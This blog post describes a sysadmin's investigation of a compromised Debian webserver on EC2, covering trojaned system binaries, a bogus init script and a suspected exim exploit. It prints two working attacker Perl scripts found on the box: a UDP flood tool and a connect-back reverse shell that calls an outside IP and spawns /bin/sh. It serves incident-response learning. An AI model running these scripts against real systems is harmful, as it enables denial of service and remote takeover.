root-kit-a-rama

Last week, I got a complaint that one of our webservers, hosted in EC2, was responding very slowly. After some fiddling around, I could eventually get ssh access, the box was just dragging along a bit. So, I check the uptime and it’s hovering around 6. I check top and there are a few perl processes chewing up the CPU. At first I think this is some backend web app stuff - some DB processing or something. What are these perl processes doing?

  109      18282     1  0 Feb05 ?        00:00:00 perl nc.jpg 209.237.226.8 8081
  109      18283 18282  0 Feb05 ?        00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ; 
  109      18287 18283  0 Feb05 ?        00:00:00 /bin/sh -i
  109      18311 18287  5 Feb05 ?        03:34:11 perl udp.pl 79.114.119.157 o o
  109      18317     1  0 Feb05 ?        00:00:00 /usr/sbin/httpd
  109      18320     1  0 Feb05 ?        00:00:00 perl nc.jpg 209.237.226.8 8081
  109      18321 18320  0 Feb05 ?        00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ; 
  109      18325 18321  0 Feb05 ?        00:00:00 /bin/sh -i
  109      18328 18325  5 Feb05 ?        03:33:51 perl udp.pl 79.114.119.157 0 0
  109      18388     1  0 Feb05 ?        00:00:00 /usr/sbin/httpd
  109      18391     1  0 Feb05 ?        00:00:00 perl nc.jpg 209.237.226.8 8081
  109      18392 18391  0 Feb05 ?        00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ; 
  109      18396 18392  0 Feb05 ?        00:00:00 /bin/sh -i
  109      18397 18396  5 Feb05 ?        03:33:58 perl udp.pl 79.114.42.153 0 0
  109      18427     1  0 Feb05 ?        00:00:00 /usr/sbin/httpd
  109      18430     1  0 Feb05 ?        00:00:00 perl nc.jpg 209.237.226.8 8081
  109      18431 18430  0 Feb05 ?        00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ; 
  109      18435 18431  0 Feb05 ?        00:00:00 /bin/sh -i
  109      18438 18435  5 Feb05 ?        03:33:26 perl udp.pl 79.114.45.104 0 0
  109      18463     1  0 Feb05 ?        00:00:00 /usr/sbin/httpd
  109      18466     1  0 Feb05 ?        00:00:00 perl nc.jpg 209.237.226.8 8081
  109      18467 18466  0 Feb05 ?        00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ; 
  109      18471 18467  0 Feb05 ?        00:00:00 /bin/sh -i
  109      18472 18471  5 Feb05 ?        03:33:48 perl udp.pl 79.114.34.156 0 0
  109      18532     1  0 Feb05 ?        00:00:00 /usr/sbin/httpd
  109      18535     1  0 Feb05 ?        00:00:00 perl nc.jpg 209.237.226.8 8081
  109      18536 18535  0 Feb05 ?        00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ; 
  109      18540 18536  0 Feb05 ?        00:00:00 /bin/sh -i
  109      18541 18540  5 Feb05 ?        03:32:41 perl udp.pl 79.114.77.27 0 0

A quick find reveals the location of these files:

  /var/tmp/udp.pl
  /var/tmp/nc.jpg

There are a lot of suspicious things here already.

I’ve captured the scripts running with arguments and I’m getting really suspicious now, so I kill them off. Let’s take a look at these files. First, udp.pl.

  #!/usr/bin/perl

  #####################################################

  # udp flood.

  ######################################################

  use Socket;
  $ARGC=@ARGV;
  if ($ARGC !=3) {
   printf "$0 <ip> <port> <time>\n";
   printf "if arg1/2 =0, randports/continous packets.\n";
   exit(1);
  }
  my ($ip,$port,$size,$time);
  $ip=$ARGV[0];
  $port=$ARGV[1]; 
  $time=$ARGV[2];
  socket(crazy, PF_INET, SOCK_DGRAM, 17);
  $iaddr = inet_aton("$ip");
  printf "naturally\n";
  if ($ARGV[1] ==0 && $ARGV[2] ==0) {
   goto randpackets;
  }
  if ($ARGV[1] !=0 && $ARGV[2] !=0) {
   system("(sleep $time;killall -9 udp) &amp;");
   goto packets;
  }
  if ($ARGV[1] !=0 && $ARGV[2] ==0) {
   goto packets;
  }
  if ($ARGV[1] ==0 && $ARGV[2] !=0) {
   system("(sleep $time;killall -9 udp) &amp;"); 
   goto randpackets;
  }
  packets:
  for (;;) {
   $size=$rand x $rand x $rand;
   send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  } 
  randpackets:
  for (;;) {
   $size=$rand x $rand x $rand;
   $port=int(rand 65000) +1;
   send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  }

Whoah. Well, this is obviously some sort of UDP flood script. The header is pretty blunt about that. It was being run with ‘0 0’ as the arguments which means it sends random packets to the target indefinitely. Is there anything else suspicious in /var/tmp?

  ls -la /var/tmp
  total 44
  drwxrwxrwt  6 root        root         4096 2011-02-08 11:39 .
  drwxr-xr-x 16 root        root         4096 2010-11-18 16:38 ..
  drwx------  2 Debian-exim Debian-exim  4096 2011-02-05 09:10 ...
  -rw-------  1 Debian-exim Debian-exim   905 2011-01-29 21:15 nc.jpg
  -rw-------  1 root        root        12288 2011-02-08 11:39 .nc.jpg.swp
  drwx------  2 Debian-exim Debian-exim  4096 2011-02-05 09:17 .sys
  drwx------  2 Debian-exim Debian-exim  4096 2011-02-05 09:18 .system
  -rw-------  1 Debian-exim Debian-exim  1062 2010-11-16 19:39 udp.pl
  drwx------  2 Debian-exim Debian-exim  4096 2011-02-05 09:18 .usr

There’s a directory called ‘…’. That’s obviously an attempt to conceal something. It doesn’t have any contents anymore, but someone must have forgotten to remove it.

Next I look at the other script, nc.jpg.

  #!/usr/bin/perl
  use Socket;
  print "\n^[[0;33m[~] Incerc sa fac legatura =)^[[0m\n";
  $host = $ARGV[0];
  $port = $2;
  if ($ARGV[1]) {
    $port = $ARGV[1];
  }
  $proto = getprotobyname('tcp') || die("^[[0;31m[-] Nu merge treaba^[[0m\n\n");
  socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("^[[0;31m[-] Eroare socket^[[0m\n\n");
  my $target = inet_aton($host);
  if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
    die("^[[0;31m[-] Conecktback Esuat^[[0m\n\n");
  }
  if (!fork( )) {
    open(STDIN,">&SERVER");
    open(STDOUT,">&SERVER");
    open(STDERR,">&SERVER");
    print "[+] ^[[0;32mConectback by ^[[0;36mZmEu^[[0;32m ... private version =)^[[0m\n";
    system("unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ; uname -a ; id ; w ; echo \"[+] ^[[0;32mTime to burn...^[[0m\";echo \"[+] ^[[0;31mDo not fucking press Ctrl C^[[0m\"; /bin/sh -i");
    exit(0);
  }
  print "^[[0;32m[+] Conectback Reusit !^[[0m\n\n";

This one takes a little longer to figure out, but it looks like a simple shell back-door script. It opens a port on the remote IP, forks and drops into a shell. Remember those NOHIST shells? This is what was running them.

I do some ‘dig’s to check what the udp script was attacking. All of the IPs are owned by RDS Net, which is a large Romanian telecomms company. If you look at the nc.jpg script above you’ll see some Romanian. ‘Incerc sa fac legatura’ translates to ‘I try to do now’, according to google.

I’m doing some more poking around and I see that there’s a set of apache2 processes, fine, but there’s also some /usr/sbin/httpd processes hanging around too. What are these doing?

  user@thebox:/var/tmp# ps -ef | grep httpd
  root      9602 19236  0 12:27 pts/0    00:00:00 grep httpd
  109      14406     1 13 Feb05 ?        10:53:22 /usr/sbin/httpd
  109      14638     1  0 Feb05 ?        00:00:00 /usr/sbin/httpd
  109      14641     1  0 Feb05 ?        00:00:05 ./httpd
  109      17380     1  0 Feb05 ?        00:00:00 /usr/sbin/httpd
  109      17383     1  0 Feb05 ?        00:00:05 ./httpd
  user@thebox:/var/tmp# lsof -p 14406
  COMMAND   PID        USER   FD   TYPE   DEVICE SIZE/OFF    NODE NAME
  perl    14406 Debian-exim  cwd    DIR      8,1     4096   16397 /var/tmp
  perl    14406 Debian-exim  rtd    DIR      8,1     4096       2 /
  perl    14406 Debian-exim  txt    REG      8,1  1306332   42151 /usr/bin/perl
  perl    14406 Debian-exim  mem    REG      8,1    22056   43855 /usr/lib/perl/5.10.0/auto/Socket/Socket.so
  perl    14406 Debian-exim  mem    REG      8,1    17924   43674 /usr/lib/perl/5.10.0/auto/IO/IO.so
  perl    14406 Debian-exim  DEL    REG      8,1            41737 /lib/tls/i686/nosegneg/libcrypt-2.10.1.so
  perl    14406 Debian-exim  DEL    REG      8,1            41735 /lib/tls/i686/nosegneg/libc-2.10.1.so
  perl    14406 Debian-exim  DEL    REG      8,1            41749 /lib/tls/i686/nosegneg/libpthread-2.10.1.so
  perl    14406 Debian-exim  DEL    REG      8,1            41739 /lib/tls/i686/nosegneg/libm-2.10.1.so
  perl    14406 Debian-exim  DEL    REG      8,1            41738 /lib/tls/i686/nosegneg/libdl-2.10.1.so
  perl    14406 Debian-exim  DEL    REG      8,1            24725 /lib/ld-2.10.1.so
  perl    14406 Debian-exim    0r  FIFO      0,6      0t0 9822365 pipe
  perl    14406 Debian-exim    1w  FIFO      0,6      0t0 9822366 pipe
  perl    14406 Debian-exim    2w  FIFO      0,6      0t0 9822366 pipe
  perl    14406 Debian-exim    3u  IPv4 10269494      0t0     TCP thebox.domain.whatever:44478-&gt;141.85.4.233:ircd (ESTABLISHED)
  perl    14406 Debian-exim    5u  IPv4  9822007      0t0     TCP thebox.domain.whateve:smtp-&gt;61.240.36.77:13457 (ESTABLISHED)
  perl    14406 Debian-exim    6u  IPv4  9822007      0t0     TCP thebox.domain.whateve:smtp-&gt;61.240.36.77:13457 (ESTABLISHED)

Huh, ircd. Not really apache, as I suspected. In fact, /usr/sbin/httpd doesn’t even exist on the filesystem.

I start googling around for guidance. Looks like a common set of issues. Various pages tell me to look at:

  cat /etc/init.d/xfs3
  /usr/include/sslv3/dropbear
  /usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP
  /usr/include/sslv3/dropbear
  /usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP

Right, so someone has installed a bogus rc script to start up dropbear and setup some firewall rules.

It’s likely that the system commands have now been comprimised. So I compare the timestamp of the rc script, which I know is bogus, to other commands on the box:

  ls -l /etc/init.d/xfs3
  -rwxr-xr-x 1 root root 178 2010-12-16 05:55 /etc/init.d/xfs3
  root@helpdesk:/var/tmp# find / -mount -ls | grep "05:55"
   16511    4 drwxr-xr-x   2 root     root         4096 Dec 16 05:55 /var/lib/update-rc.d
   16567    4 -rw-r--r--   1 root     root           26 Dec 16 05:55 /var/lib/update-rc.d/xfs3
    8314  416 -rwxr-xr-x   1 root     root       418436 Dec 16 05:55 /sbin/sysctl
   81921    4 drwxr-xr-x   2 root     root         4096 Dec 16 05:55 /bin
   82001  516 -rwxr-xr-x   1 root     root       521980 Dec 16 05:55 /bin/ps
   81975  444 -rwxr-xr-x   1 root     root       448584 Dec 16 05:55 /bin/kill
  224220    4 -rwxrwxrwx   1 www-data www-data      552 Feb  2 05:55 /home/helpdesk/upload/__swift/cache/fc658f306a72decedc18e0edf099e65c.php
  224221    4 -rwxrwxrwx   1 www-data www-data      859 Feb  2 05:55 /home/helpdesk/upload/__swift/cache/3af25e5bcd90c255dc0eb0d4f9b4e5c3.php
   90754    4 -rwxr-xr-x   1 root     root          178 Dec 16 05:55 /etc/init.d/xfs3
  122886    4 -rw-------   1 root     root         1268 Dec 16 05:55 /root/.ssh/authorized_keys
   42260  472 -rwxr-xr-x   1 root     root       476504 Dec 16 05:55 /usr/bin/w
   42163  448 -rwxr-xr-x   1 root     root       451624 Dec 16 05:55 /usr/bin/pmap
   42492  528 -rwxr-xr-x   1 root     root       533592 Dec 16 05:55 /usr/bin/top
   42236  444 -rwxr-xr-x   1 root     root       448584 Dec 16 05:55 /usr/bin/skill
   42185  472 -rwxr-xr-x   1 root     root       477892 Dec 16 05:55 /usr/bin/pwdx
   42003  428 -rwxr-xr-x   1 root     root       430772 Dec 16 05:55 /usr/bin/free
   42237  508 -rwxr-xr-x   1 root     root       515552 Dec 16 05:55 /usr/bin/slabtop
   42525  428 -rwxr-xr-x   1 root     root       432704 Dec 16 05:55 /usr/bin/vmstat
   42156  544 -rwxr-xr-x   1 root     root       549972 Dec 16 05:55 /usr/bin/pgrep
   42490  428 -rwxr-xr-x   1 root     root       430804 Dec 16 05:55 /usr/bin/tload
   42531  508 -rwxr-xr-x   1 root     root       514864 Dec 16 05:55 /usr/bin/watch
   41289  444 -rwxr-xr-x   1 root     root       448584 Dec 16 05:55 /usr/bin/snice
   42519  424 -rwxr-xr-x   1 root     root       427600 Dec 16 05:55 /usr/bin/uptime
   41263  544 -rwxr-xr-x   1 root     root       549972 Dec 16 05:55 /usr/bin/pkill
  183020    4 -rw-r--r--   1 root     root           18 Dec 16 05:55 /usr/include/mysql/mysql.hh1

Gah, lots of things which are likely ‘replaced’. Let’s try and fix them. Would be nice to be sure that ps, say, isn’t trimming the output a little. I use apt-get’s ‘–reinstall’ option.

  root@helpdesk:/var/cache/apt/archives# sudo apt-get --reinstall install procps
  Reading package lists... Done
  Building dependency tree       
   ... blah blah blah ...
  dpkg: error processing /var/cache/apt/archives/procps_1%3a3.2.8-1ubuntu3_i386.deb (--unpack):
   unable to make backup link of `./sbin/sysctl' before installing new version: Operation not permitted
  dpkg-deb: subprocess paste killed by signal (Broken pipe)
  dpkg: error while cleaning up:
   subprocess new post-removal script returned error exit status 1
  Errors were encountered while processing:
   /var/cache/apt/archives/procps_1%3a3.2.8-1ubuntu3_i386.deb
  E: Sub-process /usr/bin/dpkg returned an error code (1)

OK, so apt-get cannot remove the old file from the package. ‘Someone’ must have messed with the attributes.

  chattr -i -a /sbin/sysctl

This fixes it, but another it then fails on another file, then another, …

Several iterations later, it passes.

So, I now have a box that’s in better shape, but, really, I can never really trust it again. Who know’s what else has been messed with. I need to create a new system from scratch and migrate my data over to that. Now I’ve got a greater appreciation for why isos, amis, whatever are distributed with md5 checksums.

I do some more poking around a realise that those httpd processes aren’t showing up any more. Looks like my bogus ‘ps’ was renaming them from perl httpd in an attempt to conceal them. Weird then that they didn’t also hack ‘top’ to do the same thing. ‘top’ was changed in some way, you can see from the timestamp above. Also, if you do a ‘file /proc//exe’ it will tell you what is being run on the filesystem - this one is a bit more obscure, so even a more sophisticated root-kit than this might miss it.

How did they get in? Well, if you look at some of the output above, you’ll see that a lot of the processes are owned by the user ‘Debian-exim’. The version of exim on this box has a know exploit, and they must have got in that way. Again, this highlights the importance of having a good patching policy where you keep things up-to-date. Interestingly, I tried both rkhunter and chkrootkit, on a system which I was sure was comprimised, and neither really threw up any red flags.